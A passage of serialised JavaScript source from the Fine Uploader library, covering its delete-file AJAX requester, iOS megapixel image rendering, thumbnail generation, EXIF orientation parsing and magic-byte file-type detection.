expirationDays);\n\n                if (expirationDate.getTime() <= Date.now()) {\n                    log(\"Removing expired resume record with key \" + key);\n                    localStorage.removeItem(key);\n                }\n            });\n        },\n\n        /**\n         * Determine if the associated file should be chunked.\n         *\n         * @param id ID of the associated file\n         * @returns {*} true if chunking is enabled, possible, and the file can be split into more than 1 part\n         */\n        _shouldChunkThisFile: function(id) {\n            var state = handler._getFileState(id);\n\n            if (!state.chunking) {\n                handler.reevaluateChunking(id);\n            }\n\n            return state.chunking.enabled;\n        }\n    });\n};\n","/*globals qq, XMLHttpRequest*/\nqq.DeleteFileAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            method: \"DELETE\",\n            uuidParamName: \"qquuid\",\n            endpointStore: {},\n            maxConnections: 3,\n            customHeaders: function(id) {return {};},\n            paramsStore: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onDelete: function(id) {},\n            onDeleteComplete: function(id, xhrOrXdr, isError) {}\n        };\n\n    qq.extend(options, o);\n\n    function getMandatedParams() {\n        if (options.method.toUpperCase() === \"POST\") {\n            return {\n                _method: \"DELETE\"\n            };\n        }\n\n        return {};\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"POST\", \"DELETE\"],\n        method: options.method,\n        endpointStore: options.endpointStore,\n        paramsStore: options.paramsStore,\n        mandatedParams: getMandatedParams(),\n        maxConnections: options.maxConnections,\n        customHeaders: function(id) {\n            return options.customHeaders.get(id);\n        },\n        log: options.log,\n        onSend: options.onDelete,\n        onComplete: options.onDeleteComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        sendDelete: function(id, uuid, additionalMandatedParams) {\n            var additionalOptions = additionalMandatedParams || {};\n\n            options.log(\"Submitting delete file request for \" + id);\n\n            if (options.method === \"DELETE\") {\n                requester.initTransport(id)\n                    .withPath(uuid)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n            else {\n                additionalOptions[options.uuidParamName] = uuid;\n                requester.initTransport(id)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n        }\n    });\n};\n","/*global qq, define */\n/*jshint strict:false,bitwise:false,nonew:false,asi:true,-W064,-W116,-W089 */\n/**\n * Mega pixel image rendering library for iOS6+\n *\n * Fixes iOS6+'s image file rendering issue for large size image (over mega-pixel),\n * which causes unexpected subsampling when drawing it in canvas.\n * By using this library, you can safely render the image with proper stretching.\n *\n * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>\n * Released under the MIT license\n *\n * Heavily modified by Widen for Fine Uploader\n */\n(function() {\n\n    /**\n     * Detect subsampling in loaded image.\n     * In iOS, larger images than 2M pixels may be subsampled in rendering.\n     */\n    function detectSubsampling(img) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            canvas = document.createElement(\"canvas\"),\n            ctx;\n\n        if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image\n            canvas.width = canvas.height = 1;\n            ctx = canvas.getContext(\"2d\");\n            ctx.drawImage(img, -iw + 1, 0);\n            // subsampled image becomes half smaller in rendering size.\n            // check alpha channel value to confirm image is covering edge pixel or not.\n            // if alpha value is 0 image is not covering, hence subsampled.\n            return ctx.getImageData(0, 0, 1, 1).data[3] === 0;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * Detecting vertical squash in loaded image.\n     * Fixes a bug which squash image vertically while drawing into canvas for some images.\n     */\n    function detectVerticalSquash(img, iw, ih) {\n        var canvas = document.createElement(\"canvas\"),\n            sy = 0,\n            ey = ih,\n            py = ih,\n            ctx, data, alpha, ratio;\n\n        canvas.width = 1;\n        canvas.height = ih;\n        ctx = canvas.getContext(\"2d\");\n        ctx.drawImage(img, 0, 0);\n        data = ctx.getImageData(0, 0, 1, ih).data;\n\n        // search image edge pixel position in case it is squashed vertically.\n        while (py > sy) {\n            alpha = data[(py - 1) * 4 + 3];\n            if (alpha === 0) {\n                ey = py;\n            } else {\n                sy = py;\n            }\n            py = (ey + sy) >> 1;\n        }\n\n        ratio = (py / ih);\n        return (ratio === 0) ? 1 : ratio;\n    }\n\n    /**\n     * Rendering image element (with resizing) and get its data URL\n     */\n    function renderImageToDataURL(img, blob, options, doSquash) {\n        var canvas = document.createElement(\"canvas\"),\n            mime = options.mime || \"image/jpeg\",\n            promise = new qq.Promise();\n\n        renderImageToCanvas(img, blob, canvas, options, doSquash)\n            .then(function() {\n                promise.success(\n                    canvas.toDataURL(mime, options.quality || 0.8)\n                );\n            });\n\n        return promise;\n    }\n\n    function maybeCalculateDownsampledDimensions(spec) {\n        var maxPixels = 5241000; //iOS specific value\n\n        if (!qq.ios()) {\n            throw new qq.Error(\"Downsampled dimensions can only be reliably calculated for iOS!\");\n        }\n\n        if (spec.origHeight * spec.origWidth > maxPixels) {\n            return {\n                newHeight: Math.round(Math.sqrt(maxPixels * (spec.origHeight / spec.origWidth))),\n                newWidth: Math.round(Math.sqrt(maxPixels * (spec.origWidth / spec.origHeight)))\n            };\n        }\n    }\n\n    /**\n     * Rendering image element (with resizing) into the canvas element\n     */\n    function renderImageToCanvas(img, blob, canvas, options, doSquash) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            width = options.width,\n            height = options.height,\n            ctx = canvas.getContext(\"2d\"),\n            promise = new qq.Promise(),\n            modifiedDimensions;\n\n        ctx.save();\n\n        if (options.resize) {\n            return renderImageToCanvasWithCustomResizer({\n                blob: blob,\n                canvas: canvas,\n                image: img,\n                imageHeight: ih,\n                imageWidth: iw,\n                orientation: options.orientation,\n                resize: options.resize,\n                targetHeight: height,\n                targetWidth: width\n            });\n        }\n\n        if (!qq.supportedFeatures.unlimitedScaledImageSize) {\n            modifiedDimensions = maybeCalculateDownsampledDimensions({\n                origWidth: width,\n                origHeight: height\n            });\n\n            if (modifiedDimensions) {\n                qq.log(qq.format(\"Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h\",\n                    width, height, modifiedDimensions.newWidth, modifiedDimensions.newHeight),\n                    \"warn\");\n\n                width = modifiedDimensions.newWidth;\n                height = modifiedDimensions.newHeight;\n            }\n        }\n\n        transformCoordinate(canvas, width, height, options.orientation);\n\n        // Fine Uploader specific: Save some CPU cycles if not using iOS\n        // Assumption: This logic is only needed to overcome iOS image sampling issues\n        if (qq.ios()) {\n            (function() {\n                if (detectSubsampling(img)) {\n                    iw /= 2;\n                    ih /= 2;\n                }\n\n                var d = 1024, // size of tiling canvas\n                    tmpCanvas = document.createElement(\"canvas\"),\n                    vertSquashRatio = doSquash ? detectVerticalSquash(img, iw, ih) : 1,\n                    dw = Math.ceil(d * width / iw),\n                    dh = Math.ceil(d * height / ih / vertSquashRatio),\n                    sy = 0,\n                    dy = 0,\n                    tmpCtx, sx, dx;\n\n                tmpCanvas.width = tmpCanvas.height = d;\n                tmpCtx = tmpCanvas.getContext(\"2d\");\n\n                while (sy < ih) {\n                    sx = 0;\n                    dx = 0;\n                    while (sx < iw) {\n                        tmpCtx.clearRect(0, 0, d, d);\n                        tmpCtx.drawImage(img, -sx, -sy);\n                        ctx.drawImage(tmpCanvas, 0, 0, d, d, dx, dy, dw, dh);\n                        sx += d;\n                        dx += dw;\n                    }\n                    sy += d;\n                    dy += dh;\n                }\n                ctx.restore();\n                tmpCanvas = tmpCtx = null;\n            }());\n        }\n        else {\n            ctx.drawImage(img, 0, 0, width, height);\n        }\n\n        canvas.qqImageRendered && canvas.qqImageRendered();\n        promise.success();\n\n        return promise;\n    }\n\n    function renderImageToCanvasWithCustomResizer(resizeInfo) {\n        var blob = resizeInfo.blob,\n            image = resizeInfo.image,\n            imageHeight = resizeInfo.imageHeight,\n            imageWidth = resizeInfo.imageWidth,\n            orientation = resizeInfo.orientation,\n            promise = new qq.Promise(),\n            resize = resizeInfo.resize,\n            sourceCanvas = document.createElement(\"canvas\"),\n            sourceCanvasContext = sourceCanvas.getContext(\"2d\"),\n            targetCanvas = resizeInfo.canvas,\n            targetHeight = resizeInfo.targetHeight,\n            targetWidth = resizeInfo.targetWidth;\n\n        transformCoordinate(sourceCanvas, imageWidth, imageHeight, orientation);\n\n        targetCanvas.height = targetHeight;\n        targetCanvas.width = targetWidth;\n\n        sourceCanvasContext.drawImage(image, 0, 0);\n\n        resize({\n            blob: blob,\n            height: targetHeight,\n            image: image,\n            sourceCanvas: sourceCanvas,\n            targetCanvas: targetCanvas,\n            width: targetWidth\n        })\n            .then(\n                function success() {\n                    targetCanvas.qqImageRendered && targetCanvas.qqImageRendered();\n                    promise.success();\n                },\n                promise.failure\n            );\n\n        return promise;\n    }\n\n    /**\n     * Transform canvas coordination according to specified frame size and orientation\n     * Orientation value is from EXIF tag\n     */\n    function transformCoordinate(canvas, width, height, orientation) {\n        switch (orientation) {\n            case 5:\n            case 6:\n            case 7:\n            case 8:\n                canvas.width = height;\n                canvas.height = width;\n                break;\n            default:\n                canvas.width = width;\n                canvas.height = height;\n        }\n        var ctx = canvas.getContext(\"2d\");\n        switch (orientation) {\n            case 2:\n                // horizontal flip\n                ctx.translate(width, 0);\n                ctx.scale(-1, 1);\n                break;\n            case 3:\n                // 180 rotate left\n                ctx.translate(width, height);\n                ctx.rotate(Math.PI);\n                break;\n            case 4:\n                // vertical flip\n                ctx.translate(0, height);\n                ctx.scale(1, -1);\n                break;\n            case 5:\n                // vertical flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.scale(1, -1);\n                break;\n            case 6:\n                // 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(0, -height);\n                break;\n            case 7:\n                // horizontal flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(width, -height);\n                ctx.scale(-1, 1);\n                break;\n            case 8:\n                // 90 rotate left\n                ctx.rotate(-0.5 * Math.PI);\n                ctx.translate(-width, 0);\n                break;\n            default:\n                break;\n        }\n    }\n\n    /**\n     * MegaPixImage class\n     */\n    function MegaPixImage(srcImage, errorCallback) {\n        var self = this;\n\n        if (window.Blob && srcImage instanceof Blob) {\n            (function() {\n                var img = new Image(),\n                    URL = window.URL && window.URL.createObjectURL ? window.URL :\n                        window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;\n                if (!URL) { throw Error(\"No createObjectURL function found to create blob url\"); }\n                img.src = URL.createObjectURL(srcImage);\n                self.blob = srcImage;\n                srcImage = img;\n            }());\n        }\n        if (!srcImage.naturalWidth && !srcImage.naturalHeight) {\n            srcImage.onload = function() {\n                var listeners = self.imageLoadListeners;\n                if (listeners) {\n                    self.imageLoadListeners = null;\n                    // IE11 doesn't reliably report actual image dimensions immediately after onload for small files,\n                    // so let's push this to the end of the UI thread queue.\n                    setTimeout(function() {\n                        for (var i = 0, len = listeners.length; i < len; i++) {\n                            listeners[i]();\n                        }\n                    }, 0);\n                }\n            };\n            srcImage.onerror = errorCallback;\n            this.imageLoadListeners = [];\n        }\n        this.srcImage = srcImage;\n    }\n\n    /**\n     * Rendering megapix image into specified target element\n     */\n    MegaPixImage.prototype.render = function(target, options) {\n        options = options || {};\n\n        var self = this,\n            imgWidth = this.srcImage.naturalWidth,\n            imgHeight = this.srcImage.naturalHeight,\n            width = options.width,\n            height = options.height,\n            maxWidth = options.maxWidth,\n            maxHeight = options.maxHeight,\n            doSquash = !this.blob || this.blob.type === \"image/jpeg\",\n            tagName = target.tagName.toLowerCase(),\n            opt;\n\n        if (this.imageLoadListeners) {\n            this.imageLoadListeners.push(function() { self.render(target, options); });\n            return;\n        }\n\n        if (width && !height) {\n            height = (imgHeight * width / imgWidth) << 0;\n        } else if (height && !width) {\n            width = (imgWidth * height / imgHeight) << 0;\n        } else {\n            width = imgWidth;\n            height = imgHeight;\n        }\n        if (maxWidth && width > maxWidth) {\n            width = maxWidth;\n            height = (imgHeight * width / imgWidth) << 0;\n        }\n        if (maxHeight && height > maxHeight) {\n            height = maxHeight;\n            width = (imgWidth * height / imgHeight) << 0;\n        }\n\n        opt = { width: width, height: height },\n        qq.each(options, function(optionsKey, optionsValue) {\n            opt[optionsKey] = optionsValue;\n        });\n\n        if (tagName === \"img\") {\n            (function() {\n                var oldTargetSrc = target.src;\n                renderImageToDataURL(self.srcImage, self.blob, opt, doSquash)\n                    .then(function(dataUri) {\n                        target.src = dataUri;\n                        oldTargetSrc === target.src && target.onload();\n                    });\n            }());\n        } else if (tagName === \"canvas\") {\n            renderImageToCanvas(this.srcImage, this.blob, target, opt, doSquash);\n        }\n        if (typeof this.onrender === \"function\") {\n            this.onrender(target);\n        }\n    };\n\n    qq.MegaPixImage = MegaPixImage;\n})();\n","/*globals qq */\n/**\n * Draws a thumbnail of a Blob/File/URL onto an <img> or <canvas>.\n *\n * @constructor\n */\nqq.ImageGenerator = function(log) {\n    \"use strict\";\n\n    function isImg(el) {\n        return el.tagName.toLowerCase() === \"img\";\n    }\n\n    function isCanvas(el) {\n        return el.tagName.toLowerCase() === \"canvas\";\n    }\n\n    function isImgCorsSupported() {\n        return new Image().crossOrigin !== undefined;\n    }\n\n    function isCanvasSupported() {\n        var canvas = document.createElement(\"canvas\");\n\n        return canvas.getContext && canvas.getContext(\"2d\");\n    }\n\n    // This is only meant to determine the MIME type of a renderable image file.\n    // It is used to ensure images drawn from a URL that have transparent backgrounds\n    // are rendered correctly, among other things.\n    function determineMimeOfFileName(nameWithPath) {\n        /*jshint -W015 */\n        var pathSegments = nameWithPath.split(\"/\"),\n            name = pathSegments[pathSegments.length - 1].split(\"?\")[0],\n            extension = qq.getExtension(name);\n\n        extension = extension && extension.toLowerCase();\n\n        switch (extension) {\n            case \"jpeg\":\n            case \"jpg\":\n                return \"image/jpeg\";\n            case \"png\":\n                return \"image/png\";\n            case \"bmp\":\n                return \"image/bmp\";\n            case \"gif\":\n                return \"image/gif\";\n            case \"tiff\":\n            case \"tif\":\n                return \"image/tiff\";\n        }\n    }\n\n    // This will likely not work correctly in IE8 and older.\n    // It's only used as part of a formula to determine\n    // if a canvas can be used to scale a server-hosted thumbnail.\n    // If canvas isn't supported by the UA (IE8 and older)\n    // this method should not even be called.\n    function isCrossOrigin(url) {\n        var targetAnchor = document.createElement(\"a\"),\n            targetProtocol, targetHostname, targetPort;\n\n        targetAnchor.href = url;\n\n        targetProtocol = targetAnchor.protocol;\n        targetPort = targetAnchor.port;\n        targetHostname = targetAnchor.hostname;\n\n        if (targetProtocol.toLowerCase() !== window.location.protocol.toLowerCase()) {\n            return true;\n        }\n\n        if (targetHostname.toLowerCase() !== window.location.hostname.toLowerCase()) {\n            return true;\n        }\n\n        // IE doesn't take ports into consideration when determining if two endpoints are same origin.\n        if (targetPort !== window.location.port && !qq.ie()) {\n            return true;\n        }\n\n        return false;\n    }\n\n    function registerImgLoadListeners(img, promise) {\n        img.onload = function() {\n            img.onload = null;\n            img.onerror = null;\n            promise.success(img);\n        };\n\n        img.onerror = function() {\n            img.onload = null;\n            img.onerror = null;\n            log(\"Problem drawing thumbnail!\", \"error\");\n            promise.failure(img, \"Problem drawing thumbnail!\");\n        };\n    }\n\n    function registerCanvasDrawImageListener(canvas, promise) {\n        // The image is drawn on the canvas by a third-party library,\n        // and we want to know when this is completed.  Since the library\n        // may invoke drawImage many times in a loop, we need to be called\n        // back when the image is fully rendered.  So, we are expecting the\n        // code that draws this image to follow a convention that involves a\n        // function attached to the canvas instance be invoked when it is done.\n        canvas.qqImageRendered = function() {\n            promise.success(canvas);\n        };\n    }\n\n    // Fulfills a `qq.Promise` when an image has been drawn onto the target,\n    // whether that is a <canvas> or an <img>.  The attempt is considered a\n    // failure if the target is not an <img> or a <canvas>, or if the drawing\n    // attempt was not successful.\n    function registerThumbnailRenderedListener(imgOrCanvas, promise) {\n        var registered = isImg(imgOrCanvas) || isCanvas(imgOrCanvas);\n\n        if (isImg(imgOrCanvas)) {\n            registerImgLoadListeners(imgOrCanvas, promise);\n        }\n        else if (isCanvas(imgOrCanvas)) {\n            registerCanvasDrawImageListener(imgOrCanvas, promise);\n        }\n        else {\n            promise.failure(imgOrCanvas);\n            log(qq.format(\"Element container of type {} is not supported!\", imgOrCanvas.tagName), \"error\");\n        }\n\n        return registered;\n    }\n\n    // Draw a preview iff the current UA can natively display it.\n    // Also rotate the image if necessary.\n    function draw(fileOrBlob, container, options) {\n        var drawPreview = new qq.Promise(),\n            identifier = new qq.Identify(fileOrBlob, log),\n            maxSize = options.maxSize,\n            // jshint eqnull:true\n            orient = options.orient == null ? true : options.orient,\n            megapixErrorHandler = function() {\n                container.onerror = null;\n                container.onload = null;\n                log(\"Could not render preview, file may be too large!\", \"error\");\n                drawPreview.failure(container, \"Browser cannot render image!\");\n            };\n\n        identifier.isPreviewable().then(\n            function(mime) {\n                // If options explicitly specify that Orientation is not desired,\n                // replace the orient task with a dummy promise that \"succeeds\" immediately.\n                var dummyExif = {\n                        parse: function() {\n                            return new qq.Promise().success();\n                        }\n                    },\n                    exif = orient ? new qq.Exif(fileOrBlob, log) : dummyExif,\n                    mpImg = new qq.MegaPixImage(fileOrBlob, megapixErrorHandler);\n\n                if (registerThumbnailRenderedListener(container, drawPreview)) {\n                    exif.parse().then(\n                        function(exif) {\n                            var orientation = exif && exif.Orientation;\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                orientation: orientation,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        },\n\n                        function(failureMsg) {\n                            log(qq.format(\"EXIF data could not be parsed ({}).  Assuming orientation = 1.\", failureMsg));\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        }\n                    );\n                }\n            },\n\n            function() {\n                log(\"Not previewable\");\n                drawPreview.failure(container, \"Not previewable\");\n            }\n        );\n\n        return drawPreview;\n    }\n\n    function drawOnCanvasOrImgFromUrl(url, canvasOrImg, draw, maxSize, customResizeFunction) {\n        var tempImg = new Image(),\n            tempImgRender = new qq.Promise();\n\n        registerThumbnailRenderedListener(tempImg, tempImgRender);\n\n        if (isCrossOrigin(url)) {\n            tempImg.crossOrigin = \"anonymous\";\n        }\n\n        tempImg.src = url;\n\n        tempImgRender.then(\n            function rendered() {\n                registerThumbnailRenderedListener(canvasOrImg, draw);\n\n                var mpImg = new qq.MegaPixImage(tempImg);\n                mpImg.render(canvasOrImg, {\n                    maxWidth: maxSize,\n                    maxHeight: maxSize,\n                    mime: determineMimeOfFileName(url),\n                    resize: customResizeFunction\n                });\n            },\n\n            draw.failure\n        );\n    }\n\n    function drawOnImgFromUrlWithCssScaling(url, img, draw, maxSize) {\n        registerThumbnailRenderedListener(img, draw);\n        // NOTE: The fact that maxWidth/height is set on the thumbnail for scaled images\n        // that must drop back to CSS is known and exploited by the templating module.\n        // In this module, we pre-render \"waiting\" thumbs for all files immediately after they\n        // are submitted, and we must be sure to pass any style associated with the \"waiting\" preview.\n        qq(img).css({\n            maxWidth: maxSize + \"px\",\n            maxHeight: maxSize + \"px\"\n        });\n\n        img.src = url;\n    }\n\n    // Draw a (server-hosted) thumbnail given a URL.\n    // This will optionally scale the thumbnail as well.\n    // It attempts to use <canvas> to scale, but will fall back\n    // to max-width and max-height style properties if the UA\n    // doesn't support canvas or if the images is cross-domain and\n    // the UA doesn't support the crossorigin attribute on img tags,\n    // which is required to scale a cross-origin image using <canvas> &\n    // then export it back to an <img>.\n    function drawFromUrl(url, container, options) {\n        var draw = new qq.Promise(),\n            scale = options.scale,\n            maxSize = scale ? options.maxSize : null;\n\n        // container is an img, scaling needed\n        if (scale && isImg(container)) {\n            // Iff canvas is available in this UA, try to use it for scaling.\n            // Otherwise, fall back to CSS scaling\n            if (isCanvasSupported()) {\n                // Attempt to use <canvas> for image scaling,\n                // but we must fall back to scaling via CSS/styles\n                // if this is a cross-origin image and the UA doesn't support <img> CORS.\n                if (isCrossOrigin(url) && !isImgCorsSupported()) {\n                    drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n                }\n                else {\n                    drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n                }\n            }\n            else {\n                drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n            }\n        }\n        // container is a canvas, scaling optional\n        else if (isCanvas(container)) {\n            drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n        }\n        // container is an img & no scaling: just set the src attr to the passed url\n        else if (registerThumbnailRenderedListener(container, draw)) {\n            container.src = url;\n        }\n\n        return draw;\n    }\n\n    qq.extend(this, {\n        /**\n         * Generate a thumbnail.  Depending on the arguments, this may either result in\n         * a client-side rendering of an image (if a `Blob` is supplied) or a server-generated\n         * image that may optionally be scaled client-side using <canvas> or CSS/styles (as a fallback).\n         *\n         * @param fileBlobOrUrl a `File`, `Blob`, or a URL pointing to the image\n         * @param container <img> or <canvas> to contain the preview\n         * @param options possible properties include `maxSize` (int), `orient` (bool - default true), resize` (bool - default true), and `customResizeFunction`.\n         * @returns qq.Promise fulfilled when the preview has been drawn, or the attempt has failed\n         */\n        generate: function(fileBlobOrUrl, container, options) {\n            if (qq.isString(fileBlobOrUrl)) {\n                log(\"Attempting to update thumbnail based on server response.\");\n                return drawFromUrl(fileBlobOrUrl, container, options || {});\n            }\n            else {\n                log(\"Attempting to draw client-side image preview.\");\n                return draw(fileBlobOrUrl, container, options || {});\n            }\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.isImg = isImg;\n    this._testing.isCanvas = isCanvas;\n    this._testing.isCrossOrigin = isCrossOrigin;\n    this._testing.determineMimeOfFileName = determineMimeOfFileName;\n    /*</testing>*/\n};\n","/*globals qq */\n/**\n * EXIF image data parser.  Currently only parses the Orientation tag value,\n * but this may be expanded to other tags in the future.\n *\n * @param fileOrBlob Attempt to parse EXIF data in this `Blob`\n * @constructor\n */\nqq.Exif = function(fileOrBlob, log) {\n    \"use strict\";\n\n    // Orientation is the only tag parsed here at this time.\n    var TAG_IDS = [274],\n        TAG_INFO = {\n            274: {\n                name: \"Orientation\",\n                bytes: 2\n            }\n        };\n\n    // Convert a little endian (hex string) to big endian (decimal).\n    function parseLittleEndian(hex) {\n        var result = 0,\n            pow = 0;\n\n        while (hex.length > 0) {\n            result += parseInt(hex.substring(0, 2), 16) * Math.pow(2, pow);\n            hex = hex.substring(2, hex.length);\n            pow += 8;\n        }\n\n        return result;\n    }\n\n    // Find the byte offset, of Application Segment 1 (EXIF).\n    // External callers need not supply any arguments.\n    function seekToApp1(offset, promise) {\n        var theOffset = offset,\n            thePromise = promise;\n        if (theOffset === undefined) {\n            theOffset = 2;\n            thePromise = new qq.Promise();\n        }\n\n        qq.readBlobToHex(fileOrBlob, theOffset, 4).then(function(hex) {\n            var match = /^ffe([0-9])/.exec(hex),\n                segmentLength;\n\n            if (match) {\n                if (match[1] !== \"1\") {\n                    segmentLength = parseInt(hex.slice(4, 8), 16);\n                    seekToApp1(theOffset + segmentLength + 2, thePromise);\n                }\n                else {\n                    thePromise.success(theOffset);\n                }\n            }\n            else {\n                thePromise.failure(\"No EXIF header to be found!\");\n            }\n        });\n\n        return thePromise;\n    }\n\n    // Find the byte offset of Application Segment 1 (EXIF) for valid JPEGs only.\n    function getApp1Offset() {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, 0, 6).then(function(hex) {\n            if (hex.indexOf(\"ffd8\") !== 0) {\n                promise.failure(\"Not a valid JPEG!\");\n            }\n            else {\n                seekToApp1().then(function(offset) {\n                    promise.success(offset);\n                },\n                function(error) {\n                    promise.failure(error);\n                });\n            }\n        });\n\n        return promise;\n    }\n\n    // Determine the byte ordering of the EXIF header.\n    function isLittleEndian(app1Start) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 10, 2).then(function(hex) {\n            promise.success(hex === \"4949\");\n        });\n\n        return promise;\n    }\n\n    // Determine the number of directory entries in the EXIF header.\n    function getDirEntryCount(app1Start, littleEndian) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 18, 2).then(function(hex) {\n            if (littleEndian) {\n                return promise.success(parseLittleEndian(hex));\n            }\n            else {\n                promise.success(parseInt(hex, 16));\n            }\n        });\n\n        return promise;\n    }\n\n    // Get the IFD portion of the EXIF header as a hex string.\n    function getIfd(app1Start, dirEntries) {\n        var offset = app1Start + 20,\n            bytes = dirEntries * 12;\n\n        return qq.readBlobToHex(fileOrBlob, offset, bytes);\n    }\n\n    // Obtain an array of all directory entries (as hex strings) in the EXIF header.\n    function getDirEntries(ifdHex) {\n        var entries = [],\n            offset = 0;\n\n        while (offset + 24 <= ifdHex.length) {\n            entries.push(ifdHex.slice(offset, offset + 24));\n            offset += 24;\n        }\n\n        return entries;\n    }\n\n    // Obtain values for all relevant tags and return them.\n    function getTagValues(littleEndian, dirEntries) {\n        var TAG_VAL_OFFSET = 16,\n            tagsToFind = qq.extend([], TAG_IDS),\n            vals = {};\n\n        qq.each(dirEntries, function(idx, entry) {\n            var idHex = entry.slice(0, 4),\n                id = littleEndian ? parseLittleEndian(idHex) : parseInt(idHex, 16),\n                tagsToFindIdx = tagsToFind.indexOf(id),\n                tagValHex, tagName, tagValLength;\n\n            if (tagsToFindIdx >= 0) {\n                tagName = TAG_INFO[id].name;\n                tagValLength = TAG_INFO[id].bytes;\n                tagValHex = entry.slice(TAG_VAL_OFFSET, TAG_VAL_OFFSET + (tagValLength * 2));\n                vals[tagName] = littleEndian ? parseLittleEndian(tagValHex) : parseInt(tagValHex, 16);\n\n                tagsToFind.splice(tagsToFindIdx, 1);\n            }\n\n            if (tagsToFind.length === 0) {\n                return false;\n            }\n        });\n\n        return vals;\n    }\n\n    qq.extend(this, {\n        /**\n         * Attempt to parse the EXIF header for the `Blob` associated with this instance.\n         *\n         * @returns {qq.Promise} To be fulfilled when the parsing is complete.\n         * If successful, the parsed EXIF header as an object will be included.\n         */\n        parse: function() {\n            var parser = new qq.Promise(),\n                onParseFailure = function(message) {\n                    log(qq.format(\"EXIF header parse failed: '{}' \", message));\n                    parser.failure(message);\n                };\n\n            getApp1Offset().then(function(app1Offset) {\n                log(qq.format(\"Moving forward with EXIF header parsing for '{}'\", fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name));\n\n                isLittleEndian(app1Offset).then(function(littleEndian) {\n\n                    log(qq.format(\"EXIF Byte order is {} endian\", littleEndian ? \"little\" : \"big\"));\n\n                    getDirEntryCount(app1Offset, littleEndian).then(function(dirEntryCount) {\n\n                        log(qq.format(\"Found {} APP1 directory entries\", dirEntryCount));\n\n                        getIfd(app1Offset, dirEntryCount).then(function(ifdHex) {\n                            var dirEntries = getDirEntries(ifdHex),\n                                tagValues = getTagValues(littleEndian, dirEntries);\n\n                            log(\"Successfully parsed some EXIF tags\");\n\n                            parser.success(tagValues);\n                        }, onParseFailure);\n                    }, onParseFailure);\n                }, onParseFailure);\n            }, onParseFailure);\n\n            return parser;\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.parseLittleEndian = parseLittleEndian;\n    /*</testing>*/\n};\n","/*globals qq */\nqq.Identify = function(fileOrBlob, log) {\n    \"use strict\";\n\n    function isIdentifiable(magicBytes, questionableBytes) {\n        var identifiable = false,\n            magicBytesEntries = [].concat(magicBytes);\n\n        qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {\n            if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {\n                identifiable = true;\n                return false;\n            }\n        });\n\n        return identifiable;\n    }\n\n    qq.extend(this, {\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by reading magic\n         * bytes in the beginning of the file, so this is an asynchronous operation.  Before we attempt to read the\n         * file, we will examine the blob's type attribute to save CPU cycles.\n         *\n         * @returns {qq.Promise} Promise that is fulfilled when identification is complete.\n         * If successful, the MIME string is passed to the success handler.\n         */\n        isPreviewable: function() {\n            var self = this,\n                identifier = new qq.Promise(),\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            log(qq.format(\"Attempting to determine if {} can be rendered in this browser\", name));\n\n            log(\"First pass: check type attribute of blob object.\");\n\n            if (this.isPreviewableSync()) {\n                log(\"Second pass: check for magic bytes in file header.\");\n\n                qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {\n                    qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {\n                        if (isIdentifiable(bytes, hex)) {\n                            // Safari is the only supported browser that can deal with TIFFs natively,\n                            // so, if this is a TIFF and the UA isn't Safari, declare this file \"non-previewable\".\n                            if (mime !== \"image/tiff\" || qq.supportedFeatures.tiffPreviews) {\n                                previewable = true;\n                                identifier.success(mime);\n                            }\n\n                            return false;\n                        }\n                    });\n\n                    log(qq.format(\"'{}' is {} able to be rendered in this browser\", name, previewable ? \"\" : \"NOT\"));\n\n                    if (!previewable) {\n                        identifier.failure();\n                    }\n                },\n                function() {\n                    log(\"Error reading file w/ name '\" + name + \"'.  Not able to be rendered in this browser.\");\n                    identifier.failure();\n                });\n            }\n            else {\n                identifier.failure();\n            }\n\n            return identifier;\n        },\n\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by checking the\n         * blob's type attribute.  This is a synchronous operation, useful for situations where an asynchronous operation\n         * would be challenging to support.  Note that the blob's type property is not as accurate as reading the\n         * file's magic bytes.\n         *\n         * @returns {Boolean} true if the blob can be rendered in the current browser\n         */\n        isPreviewableSync: function() {\n            var fileMime = fileOrBlob.type,\n                // Assumption: This will only ever be executed in browsers that support `Object.keys`.\n                isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0,\n                previewable = false,\n                name = fileOrBlob.name === undefined ? 